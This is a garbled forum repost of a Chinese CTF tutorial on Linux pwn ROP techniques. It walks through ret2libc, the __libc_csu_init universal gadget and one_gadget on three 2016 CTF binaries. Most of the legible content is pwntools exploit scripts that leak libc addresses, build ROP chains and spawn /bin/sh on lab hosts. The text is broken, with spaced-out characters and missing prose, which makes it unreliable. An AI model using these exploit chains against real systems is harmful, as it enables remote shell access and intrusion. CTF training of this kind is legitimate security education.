[19507] 2019-07-16_CTF必备技能丨LinuxPwn入门教程——ROP技术(下)

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-07-16_CTF必备技能丨LinuxPwn入门教程——ROP技术(下) C T F L i n u x   P w n R O P i   2 0 1 9 - 0 7 - 1 6 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n > > L i n u x   P w n L i n u x   P w n L i n u x   P w n S h e l l C o d e C T F 使 L i n u x   P w n R O P 1 0
> > L i n u x   P w n R O P l i b c g a d g e t p w n p w n l i b c l i b c s y s t e m / b i n / s h ~ / S e c u r i t y   F e s t   C T F   2 0 1 6 - t v s t a t i o n / t v s t a t i o n 4 4 s y s t e m I D A d e b u g _ f u n c (   ) d e b u g _ f u n c (   ) l i b c s y s t e m 使 r e a d e l f   - a   l i b c . s o . 6 _ x 6 4
. t e x t S e c t i o n L O A D S e g m e n t P H D R ,   I N T E R P I D A s y s t e m l i b c s y s t e m 0 x 4 5 6 a 0 0 x 4 5 6 a 0 s y s t e m s y s t e m 0 x 7 f b 5 c 8 c 2 6 6 a 0
0 x 7 f b 5 c 8 c 2 6 6 a 0   - 0 x 4 5 6 a 0   = 0 x 7 f b 5 c 8 b e 1 0 0 0 l i b c l i b c l i b c / b i n / s h . d a t a l i b c g a d g e t   : p o p   r d i ;   r e t
g a d g e t s g a d g e t s g a d g e t g a d g e t s x 6 4 E L F _ _ l i b c _ c s u _ i n i t # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) i o . r e c v u n t i l ( " :   " ) i o . s e n d l i n e ( ' 4 ' )                                                                                 # i o . r e c v u n t i l ( " @ 0 x " ) s y s t e m _ a d d r   =   i n t ( i o . r e c v ( 1 2 ) ,   1 6 )                 # s y s t e m l i b c _ s t a r t   =   s y s t e m _ a d d r   -   0 x 4 5 6 a 0                 # l i b c p o p _ r d i _ a d d r   =   l i b c _ s t a r t   +   0 x 1 f d 7 a                 # p o p   r d i ;   r e t   s y s t e m b i n s h _ a d d r   =   l i b c _ s t a r t   +   0 x 1 8 a c 4 0                 # " / b i n / s h " p a y l o a d   =   " " p a y l o a d   + =   ' A ' * 4 0                                                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i _ a d d r )                                 # p o p   r d i ;   r e t p a y l o a d   + =   p 6 4 ( b i n s h _ a d d r )                                                 # s y s t e m p a y l o a d   + =   p 6 4 ( s y s t e m _ a d d r )                                                 # s y s t e m ( ) s y s t e m ( " / b i n / s h " ) i o . s e n d l i n e ( p a y l o a d ) i o . i n t e r a c t i v e ( )
g a d g e t x 6 4 E L F r d i ,   r s i ,   r d x ,   r c x ,   r 8 ,   r 9 ,   g a d g e t s r 1 2 - r 1 5 使 r d i ,   r s i ,   r d x ,   r b x r 1 2 + r b x * 8 c a l l g a d g e t s g a d g e t s R O P g a d g e t s r b p = 1 c a l l   q w o r d   p t r   [ r 1 2 + r b x * 8 ] a d d   r b x ,   1 ;   c m p   r b x ,   r b p ;   j n z   x x x x x x 使 r b x = 0 使 r 1 2 + r b x * 8   =   r 1 2 c a l l r b x 1 r b p   ! =   1 j n z c a l l g a d g e t s ~ / L C T F   2 0 1 6 - p w n 1 0 0 / p w n 1 0 0 l i b c 0 x 4 0 0 6 3 d g o t s y s t e m
g a d g e t s 使 r e a d / b i n / s h x 0 0 使 g a d g e t s # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 3 " ,   1 0 0 0 1 ) e l f   =   E L F ( " . / p w n 1 0 0 " ) p u t s _ a d d r   =   e l f . p l t [ ' p u t s ' ] r e a d _ g o t   =   e l f . g o t [ ' r e a d ' ] s t a r t _ a d d r   =   0 x 4 0 0 5 5 0 p o p _ r d i   =   0 x 4 0 0 7 6 3 u n i v e r s a l _ g a d g e t 1   =   0 x 4 0 0 7 5 a                       # g a d g e t 1 p o p   r b x ;   p o p   r b p ;   p o p   r 1 2 ;   p o p   r 1 3 ;   p o p   r 1 4 ;   p o p   r 1 5 ;   r e t n u n i v e r s a l _ g a d g e t 2   =   0 x 4 0 0 7 4 0                 # g a d g e t 2 m o v   r d x ,   r 1 3 ;   m o v   r s i ,   r 1 4 ;   m o v   e d i ,   r 1 5 d ;   c a l l   q w o r d   p t r   [ r 1 2 + r b x * 8 ] b i n s h _ a d d r   =   0 x 6 0 1 0 7 c                                                 # b s s S T D I N S T D O U T F I L E p a y l o a d   =   " A " * 7 2                                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                                 # p a y l o a d   + =   p 6 4 ( r e a d _ g o t ) p a y l o a d   + =   p 6 4 ( p u t s _ a d d r ) p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )                                 # s t a r t p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " )                 # p a d d i n g i o . s e n d ( p a y l o a d ) i o . r e c v u n t i l ( ' b y e ~ n ' ) r e a d _ a d d r   =   u 6 4 ( i o . r e c v ( ) [ : - 1 ] . l j u s t ( 8 ,   ' x 0 0 ' ) ) l o g . i n f o ( " r e a d _ a d d r   =   % # x " ,   r e a d _ a d d r ) s y s t e m _ a d d r   =   r e a d _ a d d r   -   0 x b 3 1 e 0 l o g . i n f o ( " s y s t e m _ a d d r   =   % # x " ,   s y s t e m _ a d d r )
p a y l o a d u n i v e r s a l _ g a d g e t 2 l o c _ 4 0 0 7 5 6 8 * 7 5 6 5 6 r e t n p a y l o a d   =   " A " * 7 2                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( u n i v e r s a l _ g a d g e t 1 )                 # g a d g e t 1 p a y l o a d   + =   p 6 4 ( 0 )                                                 # r b x   =   0 p a y l o a d   + =   p 6 4 ( 1 )                                                 # r b p   =   1 g a d g e t 2 c a l l p a y l o a d   + =   p 6 4 ( r e a d _ g o t )                 # r 1 2   =   g o t r e a d r e a d c a l l p a y l o a d   + =   p 6 4 ( 8 )                                                 # r 1 3   =   8 r e a d g a d g e t 2 r d x p a y l o a d   + =   p 6 4 ( b i n s h _ a d d r )                 # r 1 4   =   r e a d / b i n / s h g a d g e t 2 r s i p a y l o a d   + =   p 6 4 ( 0 )                                                 # r 1 5   =   0 r e a d f d S T D I N g a d g e t 2 e d i p a y l o a d   + =   p 6 4 ( u n i v e r s a l _ g a d g e t 2 )                 # g a d g e t 2
g a d g e t o n e   g a d g e t   R C E g a d g e t g e t s h e l l ~ / T J C T F   2 0 1 6 - o n e s h o t / o n e s h o t g a d g e t g a d g e t l i b c o n e _ g a d g e t p a y l o a d   + =   ' x 0 0 ' * 5 6                                 # g a d g e t 2 g a d g e t 1 p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )                 # s t a r t p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " )                 # p a d d i n g g e t s h e l l i o . s e n d ( p a y l o a d ) i o . r e c v u n t i l ( ' b y e ~ n ' ) i o . s e n d ( " / b i n / s h x 0 0 " )                                 # p a y l o a d r e a d " / b i n / s h x 0 0 " p a y l o a d   =   " A " * 7 2                                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                                 # s y s t e m p a y l o a d   + =   p 6 4 ( b i n s h _ a d d r )                                 # r d i   =   & ( " / b i n / s h x 0 0 " ) p a y l o a d   + =   p 6 4 ( s y s t e m _ a d d r )                                 # s y s t e m s y s t e m ( " / b i n / s h " ) p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " )                 # p a d d i n g i o . s e n d ( p a y l o a d ) i o . i n t e r a c t i v e ( )
r b p + v a r _ 8 _ _ i s o c 9 9 _ s c a n f r s i r b p + v a r _ 8 r a x r d x c a l l   r d x 使 c a l l 4 o n e   g a d g e t   R C E g e t s h e l l o n e _ g a d g e t g a d g e t g a d g e t r a x = 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则